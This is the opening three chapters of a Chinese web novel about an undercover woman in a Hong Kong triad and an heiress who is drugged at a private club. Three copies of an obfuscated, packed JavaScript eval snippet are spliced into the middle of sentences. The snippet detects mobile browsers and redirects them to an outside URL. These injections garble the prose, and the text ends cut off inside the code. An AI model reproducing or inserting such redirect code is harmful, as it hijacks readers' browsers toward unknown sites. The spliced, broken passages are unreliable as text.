《卧底后被港岛大小姐缠上了》 1. 第 1 章 仲夏时节,港岛正是最热的时候。 即便入了夜,温度依旧高居不下。 海风夹着潮热吹在皮肤上,黏腻不已。 湾仔一家叫新景的洗车修车行里,沈雾给一辆宾利打最后一遍泡沫,听到车行里的人叫她。 “阿无啊,容姐说有事要你去做,等阵过来接你。” 阿无,是沈雾在这里的名字。 反正在这个陌生的都市,没人在意她这个底层的外乡人姓谁名谁,有个称呼就行。 沈雾是内陆人,港岛方言听得懂,说不太好。 旁人跟她交流的时候多用普通话。 港岛本地人普通话不怎么流利,总和本地方言混着说。 沈雾拿着海绵擦玻璃的动作微微顿了顿,转头问了句:“容姐有没有说她多久到?” 对方耸了耸肩,嘴角向下撇。 “唔知呀,容姐说等一下给你打电话。” 手里沾满泡沫的海绵被丢到引擎盖上,沈雾让其他人接手后面的事情。 她白天修车,晚上洗车,一身的油污,得去洗洗。 用休息室里的浴室,花五分钟的时间迅速冲了澡。 沈雾刚擦着头发出来,看到手机屏幕亮了起来。 是容姐打来的电话。 容姐全名容嘉敏,新景车行的老板。 也是港岛最大社团“和兴社”下面的一个小头目。 湾仔几家车行都是她在管。 沈雾手指滑动屏幕接听,“容姐。” 电话另一边,容姐声线天然沙哑,没废话,电话接通后只交代了一句。 “仲有两个字(还有十分钟),门口等。” 沈雾应了一声,挂断电话。 胡乱用毛巾揉了几把头发,套上衣服裤子。 边往车行大门去,边从牛仔裤的口袋里摸出烟盒。 将烟叼在唇上,没直接点。 这么多年了,她还是没习惯烟的味道。 沈雾撸了一把湿漉漉的头发,露出一双清隽的眉眼。 细长睫毛,柳叶眼型,她没有化妆的习惯,通常素面朝天。来港岛风吹日晒了这么久,皮肤还是晒不黑,白得像没见过天光。 唇形薄,唇色也淡,眉眼懒散,生出些冷意,是时下流行的淡颜系。 一眼看过去只觉得干净,仔细再琢磨两眼,便能感受到冷漠皮囊下勾人而不自知的味道。 眼尾略微上翘的弧度,仿佛是老天在帮她建模时的神来之笔。 她就穿一件白色宽带U型领的螺纹背心,直肩细腰,身材惹眼。 刚洗了头发,披散下来,发尾的长度正好过肩,随意散在身后,发梢的水珠要落不落。 她发量多,发质又硬,没空打理,凌乱却不失利落。 过分扎眼的外表,让她只是站在门口,就惹得周围路过人的视线频频暗掠过来。 将唇边的烟点燃,浅浅吸了一口,忍下不喜的表情。 一辆白色的小货车在她面前停了下来。 车窗稍稍放下一道缝。 驾驶位上的容姐,对着沈雾面前副驾的方向偏了偏脑袋。 “上车。” 沈雾将才抽了一口的烟碾灭,塞回了烟盒里,拉开门上车。 坐到副驾上,很懂规矩地叫了声:“容姐。” 容姐大晚上还戴着一副茶色大框墨镜,一头粉色混着紫色的脏辫,黑色烟熏粗眼线,打了一排的唇钉,手上更是丁铃当啷戴了好几个不同风格的手串,通身的造型看起来就像是暴躁老姐,不好惹。 沈雾上了车,拉好安全带扣上。 容姐没说要去哪儿,也没说要做什么。 她很乖觉地沉默,没主动开口问。 看了眼车子前进的方向,似乎是朝着往隧道的方向去。 电台里在放摇滚,吵嚷的重金属在车厢里嘶吼着。 沈雾摆弄着手里的烟盒,打开又合起,一下一下的,侧脸又静又冷。 等红绿灯的时候,容姐偏头看了沈雾一眼,闲聊似的问了句: “怎么样?车行的工作适不适应啊?” 她普通话很塑料,说起来口音颇重。 沈雾薄唇抿了抿,将手里的烟盒扣好。 “还好,不累。” 容姐嘴里嚼着口香糖,微微挑眉。 这女仔年纪不大,还挺沉得住气。 她还记得第一次见到沈雾那回,是在安记地盘的一家酒吧。 那天她去安记谈事情,刚好撞见这小姑娘单手拎着一个酒鬼的后领,狠狠把人掼到吧台上,抄起一桶带着冰块的水直接浇到酒鬼的头上,说让他“清醒一下”。 甘靓噶女仔(这么漂亮的女孩),下手利落凶狠。 都给容姐看愣了。 容姐让人打听了一下,得知这小孩是内陆来的,很缺钱,同时打着好几份工。 觉得沈雾身手不错,性子也有点对胃口,容姐就特地等在后门,等她下班,问她有没有兴趣换份工作。 当时沈雾略显懒散地点了支烟,眼皮都懒得掀一下,用不怎么熟练的港岛话问她。 “几多钱?” 容姐被这装老练的口音逗笑,让她讲不好港岛话就不要讲了,又问她想要多少钱。 沈雾比了个数,“七万。” 容姐走到她面前,指背贴在她招人喜欢的漂亮脸蛋上轻轻弹了两下,语带嘲讽。 “你在安记一个月人工也不过两万出头,到我这狮子大开口?你值那么多吗?” 沈雾一直耷拉的眉眼挑起,露出一双眸光犀利的眼睛。 “你是和兴社的人,我从安记跳槽到你那里,安记的人不会放过我,我的风险值这么多。” 安顺堂,被道上的人称作安记,跟和兴社一直有摩擦。 容姐过来安记,也是来处理安记手底下的人越界到她的地盘上做生意的事情。 这点钱容姐还是给得起,答应了。 人是带进了新景,堪不堪用还要多看看。 用之前,当然要先好好查查底细。 爹妈早死了,家里就剩一个药罐子妹妹。 高中辍学,在内陆打工惹了事,来港岛投奔亲戚,结果亲戚也死了。没学历没身份,还得给吞金兽妹妹赚医药费,只能跟没头苍蝇一样到处做散工,什么五花八门的工作都干过。 安保、外送、油漆工、洗碗工,还有烧腊铺子的学徒工和大巴司机。 因为是打黑工,所以每份工作持续的时间都不长。 容姐给沈雾安排好住处,办了卡,追踪到她每个月赚到的钱大部分都转给妹妹后,就没再操心。 这些年条子往和兴社塞人的手段越发刁钻,她也怕自己招个二五仔进门,当然得小心。 所以,每个进和兴社的新人都有一年的观察期,和几次生死攸关的考验。 负责暗中监视沈雾的人每个礼拜都会跟容姐汇报,说这女仔暂时没什么可疑的地方,就是不爱说话。白天就知道闷头洗车,晚上跟黎叔学修车,下了班还会去马路对面的便利店打工。一天睡不到几个小时,赚钱不要命。 每月给她的七万,大多数都寄回去孝敬医院了,自己就留个万把块。 港岛消费高,要不是住的地方给她安排好了,根本过不下去。 满打满算,沈雾到她手底下做事才半年,远不足以积累足够的信任。 今晚这趟货,原本应该是容姐手下一个叫阿k的人去送的。 结果阿k下午在自家楼下被几个青少年给堵了,人现在在医院里躺着。 事发突然,容姐只能亲自来当司机。 送货最不能缺人,偏偏她最近走背字,手底下几个得用的人,一个两个都出了事。 如今阿k也进了医院,剩下的人不是性子太浮,就是不够机灵。 容姐就想起新来的女仔。 手底下的人说沈雾挺能吃苦,黎叔也说她聪明,上手也快,难得的是身上没有时下年轻人的浮躁,踏实。 容姐破例提前将沈雾提用起来。 小孩性子果然跟手底下的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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Glow的泊车员早就站在一旁等候,看到她来了,迅速殷勤着上前招呼。 那女人一头墨色的卷发长度及腰,即便晚上光线不好,距离又远,也看得出头发色泽莹亮,保养得极好。长发随着她的步幅如海藻般摆动,红色长裙勾勒出妖娆成熟的腰肢,一双长腿更是辣得周围人默默注视。 好细。 沈雾没见过身段这么优越的女人,脑子里不合时宜地冒出这么个词。 钥匙丢给泊车员,女人往会所里去。 容姐看到918的车牌号,简简单单一个阿拉伯数字“11”,原本溢出口的脏话都咽了回去。 幸好没撞到,不然这大半年白干。 见沈雾目光还跟着人家,容姐嗤笑着捏她的后颈皮。 “还看?人家可是港岛第一千金,裴家的独女,手里那只鳄鱼皮的CF,几十颗钻石,两百多万。我们这种人,连给人家当司机都不够格的。” 容姐刚讲完,身后也不知谁吹了一声下流的口哨。 女人回头,正好和车窗里的沈雾对视。 明艳的五官,岑冷的气质,眼角眉梢天然带着慵懒与傲慢,敌意和不屑也丝毫不用掩饰,一眼看出的骄矜和高不可攀。 即便在模糊的夜色中,依旧美得狠狠撞了一下沈雾的胸腔,撞得她心微颤。 沈雾有些怔的时候,那女人则轻飘飘地瞥来一道眼神,厌恶的眼神。 沈雾:…… 口哨又不是我吹的。 裴薄妍很快冷淡地收起目光,转回头,被人迎进Glow。 泊车员将918开走。 其实不用容姐提醒沈雾也知道。 在来港岛卧底之前,她进行过很多培训。 港岛的富豪千金是此处名利场上最耀眼的中心,是卧底任务里不愿遇到,最容易节外生枝的危险人物。 千万别和她惹上关系。 2. 第 2 章 不远处一个浓妆艳抹的女人看到了容姐,打发了身边搭讪者,笑着上前来招呼。 “容姐,今天这么有空过来?” 容姐降下车窗,丢了盒绿好彩过去。 “吃饭了吗?” “多谢容姐。”对方接过绿好彩,看向副驾的沈雾,打量了好几眼,品味着沈雾的好相貌,笑着问,“新面孔啊,之前没见过。” “阿无,跟我半年了。”容姐拍了拍沈雾的肩膀,“叫美仪姐,以后你来送货的时候记得先来找她拿卡。” 沈雾看了眼对方,将她的长相记下,随即点头道:“美仪姐。” 美仪姐没说什么,同容姐又寒暄了几句,拿了张卡给她。 容姐接过卡,撂下句“得闲饮茶”,重新启动车子,绕过金碧辉煌的Glow,进了后巷。 小货车在一扇宽大厚重的铁门前停下来,门边上面有个刷卡机。 “这里是Glow的后门,所有的货都是送到这里,会有专门的人来接。” 容姐将车熄火,推开车门下去,拿着卡去机器上刷了一下,铁门上开启了一扇供单人通行的小门。 “车里东西别乱动,在这里等我。” 容姐随意嘱咐了一句下了车。 小门在容姐进去后缓缓关上。 巷子里没什么人,十分静谧,Glow一楼酒吧里热闹的声音隐隐约约地传出来,听不真切。 沈雾将车窗放下来,冷白的指骨有一搭没一搭地敲着车窗的窗沿。 驾驶位上放着运货单,刚才容姐下车的时候十分随意地丢在座位上。 沈雾余光扫一眼,上面记录的都是提货点和运输路线。 她手里拨弄着烟盒,看似无聊地收回视线。半晌,推开车门下车。 将之前那根没抽完的烟从烟盒里倒出来,再次点燃。 一个打几份工给妹妹治病的穷飞女(女混混),是不会舍得浪费一根烟的。 当卧底以来,她深知细节最容易出纰漏。 因此,对细节的打磨极为细致,任何时候都记得将人设贯穿始终。 灭过一次的烟再抽起来焦油味过重,沈雾暗暗皱了皱眉,差点呛着,强忍着,眉心慢慢舒开。 假装熟练,将烟雾吐出去。 仿佛完全没在意头顶上,一直对着她的监控摄像头。 摄像头连着的另一边,容姐正站在监视器的屏幕前,目光冷漠地看着画面里的沈雾。 Glow六楼。 裴薄妍手里夹着一张黑色烫金的请柬,白衬衫黑马甲的侍应生在前面引路,往一处私人展览厅走。 Glow最开始是游艇会,二期扩建了一半的面积。现在除了最基本的餐饮,还有做造型与皮肤管理的沙龙、顶级奢华的酒店服务、图书馆、私人会客室和艺术厅。 所有能想到的玩乐,在这里都能找到。 短短几年时间,Glow成了港岛最大的高端私人会所。 港岛的最顶端的豪门圈子里,几乎人手一个Glow的会员。 但裴薄妍没有,因为她不需要。 她是Glow唯一一个不需要会员资格,却可以享受顶级VIP待遇的人。 只因为她是裴家唯一的千金大小姐。 裴家做酒店起家,旗下有十多家酒店品牌,港岛所有高端酒店都隶属裴家。 裴家不止涉足酒店行业,地产、通信、零售都在裴家的商业版图上,常年稳居港岛四大家族之首的位置。 这几年裴薄妍还创立了属于自己的珠宝品牌,个人商业价值已经开始闪耀整个亚太。 自裴薄妍出生,港岛大大小小的报纸杂志,就没停下过跟她拍她报道她的脚步,让她不胜其扰。 直到她大学到伦敦念书之后才好些。 去年裴薄妍最顶尖的MADesign毕业回到港岛,大大小小的晚宴接连不断。 商务的、私人的,各种社交季的宴会,还有什么校友演讲、公益活动、慈善拍卖、颁奖典礼,每天能收到无数邀约,弄得她又开始烦。 今晚裴薄妍原本是要参加一个让她没什么兴趣的慈善活动拍卖会,临时收到父亲裴振生让人给她送过来的邀请函,说Glow有个珠宝展,是裴薄妍喜欢的设计师的个人展。 为了给自己的珠宝品牌Hestia找灵感,她推了拍卖会,来这里看看。 展厅在六楼,开展首日有个小型的餐酒会,宾客来的不少。 裴薄妍的行程一向保密,没多少人知道她今晚会来,看到她出现都难免惊讶,找着借口上来攀谈。 这种应酬极为乏味,裴薄妍不耐应付这些人,但良好的教养还是让她手里拿了支香槟,一边看展一边应付几句。 裴薄妍冷淡,识趣的得到了她几句不冷不热的回应后就离开了。 偏偏有人脸皮厚。 一个穿着银灰色西装的男人快步走过来,叫她的英文名:“Cecilia!” 裴薄妍都没看过去,眼底已经多了几分不耐。 叫她的男人姓钟,名俊辉。 钟家是港岛最大的几个地产发展商之一,开发的楼盘面积加起来几百万平,更有港岛最高的三座建筑之一。 另外两栋楼都是裴家的酒店。 富豪榜上裴钟两家在同一页,只不过一个在头一个在尾,外人看来,钟家和裴家也称得上门当户对。 只不过,外人是外人,裴薄妍完全不喜欢他。 这位二世祖之前送花又送钻石,还在别人的Afterparty上搞什么惊喜表白,弄了一群人一人一支玫瑰递给她,又土又尬害她连着做了三晚恶梦。 结果今天又来。 裴薄妍在心里冷笑。 哪有这么巧的事,今晚她的行程应该是被透露出去了。 钟俊辉挨近裴薄妍,露出个自诩风流英俊的笑容。 “Cecilia,好巧啊。不过也不算特别巧,谁让我们都喜欢珠宝。” 裴薄妍不想和这男人待在同一个空间里,看到楼上还有其他展。 钟俊辉还要说什么,她已经转身踏上玻璃旋转楼梯,只留给他冷漠的背影。 钟俊辉想拉住她,她一抬手,只碰到她的手表。 钟俊辉:“聊两句都不行吗?我特意为你准备了礼物,这场展上的珠宝随你挑怎么样?我很有诚意的。” 裴薄妍停下脚步。 在钟俊辉期待的笑容中,把刚才被他碰过的腕表摘掉。 钟俊辉挂在脸上的笑容瞬间僵住。 全球仅此一只,由十一位制表大师共同协作完成,无法估算市值的手工腕表,在裴薄妍的腕上才停留了三个日夜,就因为被别人轻轻一碰,就被她无情地抛弃在垃圾桶里。 没说任何一个字,钟俊辉已经感受到裴薄妍不留任何情面的寒意。 只能眼睁睁看着她上楼。 今天钟俊辉好不容易得到裴薄妍会来看展的消息,从西贡赶过来,想投其所好,用珠宝虏获大小姐的心。 结果丢了个大脸。 这么多人看着,太不给面子。 恼火的同时,裴薄妍那谁也无法染指的冷劲儿,又弄得人心痒得很。 脸上红了又白,一旁穿着POLO衫的男人把刚才发生的事都看在眼里,一边转着酒杯一边含笑往二楼的方向看。 “钟少,我就说,追女仔不能脸皮太薄的,你还不信。而且那可是裴大小姐,港岛第一千金,从来没正眼看过谁,肯定难追的。” 钟俊辉腮帮子紧绷,压着火气。 “我追了她多久了?到现在没给过我一个好脸。” 裴薄妍真当他是舔狗不成? 他在情场上什么时候受过这样的委屈? 要不是为了钟家的继承权,才不受这个气。 钟俊辉气不过,“她不会不喜欢男人吧?” POLO衫男人猥琐地笑道:“女人嘛,只要先搞到手,总会言听计从的。” 钟俊辉瞬间领会到他的意思,眉毛皱起,“要是被裴家知道,会死的。” “当然不能硬来啦,得动动脑子。” POLO衫男人从口袋里拿了个银色包装的东西出来。 钟俊辉从十五岁开始就在夜场混,一眼就看得出这是什么,一开始没接。 POLO衫把小药丸放到钟俊辉掌心里,怂恿着。 “日本货,够劲。” 他用你懂的眼神看钟俊辉。 “到时候你假装英雄救美,顺水推舟办成了,她还不爱惨了你?有裴家助力,你要什么你爹地能不答应?” 钟俊辉眉毛缓缓松开,眼底同时漫上一层豁出去的阴鸷。 - 监控室里,有人看着屏幕上的监控画面里沈雾的脸,饶有兴致点评着。 “容姐,你带的这个新人长得真不错。” “还行吧,小孩挺能吃苦,也沉稳。就是性子闷了点,不爱说话。” 容姐也点燃了一根烟,慢吞吞吐出烟雾,视线锁在视频里的沈雾身上。 小小的后巷里,装了三个摄像头,都是高清的。 容姐刚才下车的时候,特地把送货单留在座位上,随意的一句嘱咐是警告,也是诱饵。 一旦沈雾碰了那张送货单,今晚她就不会再有机会回到新景。 那张单子上的路线和接收货的地点自然都是干净生意,是所有新人接触核心生意之前的过渡,也是用来试探二五仔的第一关。 画面里,沈雾对那张单子丝毫不感兴趣,像是在车里等烦了,闷得紧,下车抽烟。 没有特别的举动,也没有跟谁通电话。 容姐眉眼松了松,露出几分笑意。 一支烟抽完,拍了拍手道:“辛苦各位,帮忙卸货。” 紧闭的小门再度打开,容姐率先走了出来,身后跟着一群人。 容姐对沈雾说:“来帮忙搬东西。” 沈雾将手里抽的第三根烟丢到地上踩灭,上前帮忙。 小货车看着不大,还挺能装的,七八个人也拉了两趟才拉完。 容姐跟着他们进去核对数目,沈雾就在外面闷不吭声收尾,把绳子什么的整理完,丢回车厢里。 刚锁上车门,听到容姐叫她。 “阿无,来。” 容姐勾住沈雾的脖子,带着她进了那扇铁门。 “你来了港岛这么久,整日忙着打工,有没有出来玩过啊?” 沈雾被容姐拉着进了Glow一楼的酒吧。 Glow是会员制,几乎所有的服务都只对VIP开放,除了这间酒吧。 一进门,沈雾就被低音炮的音波震得胸腔发颤。 她看了眼舞池贴在一起热舞的男男女女,对身旁的容姐说: “容姐,我没钱玩的。” 容姐低哑的嗓音笑起来很豪迈,拍了拍沈雾的后背,在她耳边吼了一嗓子: “阿姐请你!带你见识见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353122|199647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识我们和兴社的场子!” 穿着紧绷白衬衫的男服务生和穿着清凉的女服务生们,端着托盘穿梭在客人中间。 擦身而过的时候,一位女服务生看沈雾长得漂亮,想勾她下巴。 沈雾躲了一下,没让对方碰到,惹得容姐哈哈大笑。 容姐打趣着:“顶着这么靓一张脸,该不会连恋爱都没谈过吧?为谁守身如玉啊?” “当然谈过,不过……” 沈雾随意扯了谎,但没往深的说,拨了拨头发。 “现在要打几份工,没时间,也没闲钱。” 容姐舌尖拨弄了一下唇钉,指着场子中央正在热舞的男男女女。 “这里靓仔靓女都有,你钟意哪个,同阿姐讲,阿姐让人来伺候你啊。” 沈雾嘴角轻扯,露出个淡淡笑容,顺着她的话说:“好啊,多谢容姐。” 她平日里不爱笑,眉眼长势又偏锋利,眼瞳漆黑,天生一副薄凉的长相,却因为嘴角弧度的变化,将皮囊下藏着的那点勾人的劲儿带了出来。 饶是老江湖的容姐也不由地怔愣一瞬。 “别对你容姐乱放电。” 容姐没什么好气地,拍了沈雾后脑勺一巴掌。 沈雾:…… 容姐安排的“艳遇”终究没成。 两人坐下没多久,容姐刚想让人叫几个公关过来,就被隔壁桌骂声打断。 有个穿花衬衫的男人喝多了,满嘴生殖器乱飞,拉扯酒保非说酒水有问题,是假酒,让酒吧负责人出来说话。 Glow的酒都是容姐送的,听到这话容姐瞬间拧紧了眉,走过去把酒保挡到身后。 还没来得及问是怎么回事,花衬衫一个酒瓶子就砸了过来。 沈雾眼疾手快,抬手挡了一下。 玻璃瓶实实地砸在了她的手臂上,当即见了红。 花衬衫醉得不清,挥舞着断了半截的玻璃瓶还想再给沈雾一下。 沈雾反手把他手里的酒瓶子给卸了,身手利落地将人摔在地上,重重的一拳砸中正脸。 花衬衫两眼一翻,鼻血横流,没来得及惨叫人就晕了过去。 几个处理纷争的黑西装赶过来的时候,刚好看到这幕。 为首的看向沈雾的目光带了点欣赏。 “身手不错,一会儿让人去探探她的底。” 容姐笑着拍了拍对方的肩膀。 “别打主意,她是我的人。” 开什么玩笑,她才刚找到一个趁手的人,给她挖走了,难不成真要她每天亲自来送货? 酒鬼闹事在夜场这种地方算不得什么新鲜事,花衬衫很快就被看场子的人给摁了下去。 “给我看看,伤的怎么样?” 容姐走到旁边坐下,看沈雾用一团纸巾压着伤口,血似乎止住了。 虽然沈雾不出手,她也不可能站着挨花衬衫那一酒瓶子,但沈雾毫不犹豫地替她挡了这一下,容姐心里很难没感触。 看小孩如此敷衍地对待伤口,容姐皱眉道:“好歹包扎一下,我让人送你去看医生。” “不用。”沈雾无所谓地拿卫生纸胡乱一包,“我去洗洗,等下拿胶布贴一下就行。” 容姐拿手机给沈雾转了一万蚊,又丢给她一串车钥匙。 “去买点补品,别说阿姐不体贴。还有,后面停车场里有辆杜卡迪V2,今天刚来的新货,给你代步。” “几十万,送我?”沈雾转了下车钥匙,“刮花了我赔不起的。” “想得美,不是送你,社团的车,给你代步。”容姐翻了个白眼,“怎么跟师傅学了那么久,补漆都不会啊?行了,早点回去处理下伤口,好好休息,明天还有事要你做。” 沈雾应了声“好”,拎着钥匙起身去了停车场。 停车场里的摩托车停了不少。 杜卡迪、宝马、本田…… 一眼看过去像是摩托车展,不过白色的V2就那么一辆。 她走过去,手拂过车身绕了一圈,看起来就像是在欣赏V2的美貌。 外观看起来似乎没什么异样,到底是不是走私过来的,还要看发动机号才行。 不过显然这里不是能看的地方。 沈雾起身,看了眼手上的血污,还是先去洗个手,免得弄脏了车。 停车场里有个给保洁用来做事的水龙头,她从口袋里摸出绿好彩,撕开包装,抽了一根出来,咬着。 才吸了一口,又差点儿呛到她。 烟可真难抽。 为了随时随地维持自己飞女的形象,只能咬牙坚持。 沈雾嘴里叼着烟,拧开水龙头,缠在手上的纸巾被她随便团了团丢进一旁的垃圾桶。 正要将手放到水下冲洗,听到黑暗的角落里有什么动静。 她敏锐地抬头,脊背在一瞬间绷紧。 不等她动作,一团软香扎进了她的怀里。 满面潮红的女人紧紧揪住沈雾的领口,呼吸滚烫,站立不稳。 沈雾被她拽得呼吸都要喘不过来了,下意识地扶住对方。 借着灯光看去,一怔。 这不是开918的千金吗? 先前那朵金贵的花此刻遭了莫名的雨水,脆弱散乱,仿佛谁都可以来摧折她。 偏偏还用尽全力维持着高傲。 裴薄妍漂亮的眼眸里覆盖着一层水样的晶亮,努力压抑着异样的渴望,克制的声音发着颤,对沈雾说: “救我……” 3. 第 3 章 裴薄妍腿软得完全站不住,只能拼尽全身的力气抓住面前的女人。 十五分钟前。 Glow六楼的休息室。 看完楼上的展,她叫了杯唐培里侬71年份的P3香槟。 和大多数人喜欢的82年份不同,71年是个冷年份,但裴薄妍喜欢这款酒的烟熏味,有威士忌干邑类的香气。 侍应将酒杯放下的时候,裴薄妍正在看眼前托盘里的珠宝。 这是今晚裴薄妍最想看的珠宝,又不想再看那姓钟的人半眼,就让展厅经理单独送过来给她。 欣赏着珠宝的设计,裴薄妍习惯性摸向一直戴在颈间的一枚翡翠质地的无事牌。 又想起了那个人。 那个人现在不知道身在何方,还有没有机会将无事牌还给她。 出着神,下意识拿起香槟喝了一口,随即眉心拧起。 这杯酒的味道不对。 咽下去的时候,舌头尝到了奇怪的蜜桃味。 她舌头一贯挑剔,所有入口的东西,差一分一毫都瞒不住,更何况这款P3她喝过不知道多少瓶。 裴薄妍在Glow的待遇一向是最高等级,酒和酒杯都是单独储存,甚至有一个专门的酒窖接收每年从法国各个酒庄送来的酒和香槟。 没道理突然拿劣等货来敷衍她。 她正要叫侍应生过来,忽然感觉到舌头有些发麻。 捏着香槟杯脚的手指缓缓攥紧。 不是劣等货,是被人添了东西。 这个认知从脑海中浮出来的时候,裴薄妍心跳骤停了一瞬。 她立即起身往洗手间的方向去,想办法把刚刚喝的那口加料香槟吐出来。 刚走了几步,裴薄妍就感觉到身后有人跟着她。 不能去洗手间。 封闭的环境里无处可逃,更加危险。 转了方向去乘坐电梯。 她难以想象在Glow里居然有人敢在她的酒里加料。 或许今天她不该图清静独自来看展。 此刻看到任何一个向她靠近的侍应生,都本能地觉得对方图谋不轨。 进了电梯,裴薄妍一面强撑冷静地快速按关门键,一面给自己的助理Aimee电话。 “来Glow接我。快……” 裴薄妍想着她不过喝了一口,应该没那么快起效。 只要助理过来接到她就算是安全了。 等到医院洗胃挂点滴,将药性压下去,至于是谁做的,裴家自然有人去查,去处理。 她这个身份,那么多双眼睛盯着,媒体和竞争对手都在看着,不能明着报警。 否则那群狗仔会写成什么样子,她闭着眼都能想到。 可电话才挂断,她就感觉到自己开始不对劲。 双腿开始发软,脑子昏昏沉沉,身体里的热度一浪接着一浪地上涌。 自尊心让她用尽全力克制着自己不露出难堪的姿态。 轿厢反光里的自己,脸上泛着异样的红潮,发软的眼神里有水光。 万年冷情又冷静的一张脸,因为药物的关系,添了一抹绝对不会出现在她脸上,陌生的春/情。 电梯已经到了一楼,晕眩中的她想给助理Aimee打电话,问对方还有多久到。 手甚至握不住手机,电梯门刚一开启,手机一下子掉下去,砸在地上,滑出去老远。 裴薄妍想去捡,离手机更近的男人先她一步将手机捡起来。 男人拿起手机后朝着她的方向看了一眼。 也许对方只是想要询问一句,但裴薄妍此刻草木皆兵,不等他开口,她立刻掉转方向往后走。 身后是Glow的酒吧,人多也杂。 裴薄妍去过几次,嫌吵,嫌无聊,但眼下只有这一条路。 她依稀记得,酒吧后门就是停车场,她的车应该就停在那里。 酒吧里昏暗的光线,嘈杂的音乐和躁动的人群,全是会搅乱她意识的因素。 浑浑噩噩踉踉跄跄地走到停车场,不知道路上撞到了谁又刮到了谁,手包也不见踪影,脑子的混沌感越来越重,却能感觉到身后跟着人。 肯定有人跟着她。 是下药的人。 用力掐着自己的手臂,现在仅有疼痛能让能保持清醒。 裴薄妍急切地想要找到自己的车,可眼前像是蒙了一层纱,看什么都不真切。 呼吸滚烫,脚像是踩在云端。 裴薄妍也不知道自己踢到什么,跌跌撞撞地走出酒吧。 身后尾随的人也出来了。 模糊的视线里只有一个正在洗手的女人。 停车场冷白的灯光下,那女人侧颜的骨相立体,轮廓笼着深浓光影,令她有几分莫名的熟悉。 这份熟悉带来一丝缥缈莫名的安全感。 凭借最后一点意志力,裴薄妍朝她扑了过去。 “救我。” 裴薄妍此刻身体快要软成一滩水,语调维持着最后的自持。 目光落在抱着她的女人脸上,有一刹那的恍惚。 太像了,太像她。 以至于裴薄妍以为自己是受到药物的影响,因为思念产生了幻觉。 沈雾双手都被怀里的女人占据,烟只能叼在嘴上,腾起的烟雾熏到了眼睛,不受控地眯起。 “你先起来。” 她洗手的时候还在想,幸好有那个酒鬼闹事,不然今晚还真得花点心思才能应付过去容姐安排的“艳遇”。 结果下一秒,就有人投怀送抱。 怀里女人的身子在不停往下坠,昂贵的裙子和白皙金贵的身子就要沾到地上的污秽。 沈雾费力地把她往上拉,这人就仿佛没骨头似的,全身的重量都压过来。 这是喝多了? 可自己一手的血,看起来也不像是什么可靠的正经人吧? 沈雾被她弄到没脾气,只能稳稳抱住她。 裴薄妍身上的鸢尾混着可可与杏仁的香味,霸道地占据了沈雾的呼吸。 除此之外,还有一丝和香水味不太协调的蜜桃味。 不像是喝多,难道是被人下药了? 沈雾眼神微眯,烟什么时候掉在地上也没发现。 凑近裴薄妍的口鼻,想去闻她气息里诡异的蜜桃味。 和她要调查的某种味道很相似。 偏偏裴薄妍脑袋往下垂,呼吸都往下走。 沈雾腾出一只手想去扣她的脸,再闻得仔细点。 两人的鼻息挨得很近。 裴薄妍意识不清,但和人疏离的本性让她躲了一下,沈雾没能扣住。 天旋地转,双腿已经无法支撑自己的身体,唯有眼前的人可以依靠,对方还撤开一只手,让裴薄妍重心更加不稳。裴薄妍把脸藏到沈雾怀里,揉着沈雾的衣领,不满道: “抱紧我。” 沈雾:…… 果然是千金小姐,一开口就是命令人的语气。 不喜欢被命令,可沈雾也不能看她真摔地上。 只能双手扣住她的腰,控制着她的身体。 见领口被大小姐肆无忌惮扯到变形,再往下点就要走光的程度,沈雾试着用自己不怎么熟练的港岛话,又叫了她几声。 “放开。喂,听到冇啊?” 裴薄妍自然是听到了。 可她现在全身的力气和意志力都在抵抗那该死的药性,没办法开口回答。 否则她怕自己溢出这辈子最丢脸的声音。 她紧紧揪着沈雾的领口,深吸了一口气,想要让自己维持清醒。 呼出的气潮热滚烫,扑在沈雾的脖颈上。 沈雾皮肤瞬间起了一层生理性的颤栗,本能地想要躲开,但奈何对方紧紧抓着她,没有半点要松手的意思。 她长这么大,没跟任何人有过亲密关系,自然也没有过亲密行为。 刚才跟容姐说自己谈过恋爱不过是在鬼扯。 沈雾一手抓住裴薄妍还在往下拉的手,另一只手干脆横过来,小臂护在她的腰上更好发力,更容易帮她保持平衡。 沈雾问她:“能站稳吗?我送你去医院。” 裴薄妍眼尾被药性催得泛红,意识已经分崩离析,无法连贯地思考任何事。 但听到“医院”两个字,她本能地摇头。 “不能去医院……” 不能去裴家控股之外的医院,最后一丝理智告诫着裴薄妍。 “保护我,你要多少钱裴家都会给你。” 沈雾想再去扣她的脸,确定气味,裴薄妍脑袋无力地靠到沈雾肩膀上,虚弱地用破碎的声调说: “不要……” 沈雾无语,看她这么难受,不忍心继续,只能摸摸她的脑袋,试图和她交流。 “你家里人电话多少?” 被摸的这几下没能缓解心里的焦渴,反而更燥热。 裴薄妍的意识已经彻底沦陷,无法回应沈雾的任何问题。 空气变得格外稀薄,令她不得不深喘着缓解缺氧的感觉,双手攀住沈雾的肩,无意识地贴紧面前的人,想要汲取对方的体温。 眼前白皙温热的脖颈,散发着诱人的吸引力。 她莫名想亲近对方,舔了舔唇,喉咙吞咽着。 一口咬了上去。 被咬住的地方刺痛,沈雾“嘶”了一声。 看着弱不禁风,下口还挺狠。 沈雾严重怀疑被她咬破皮了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 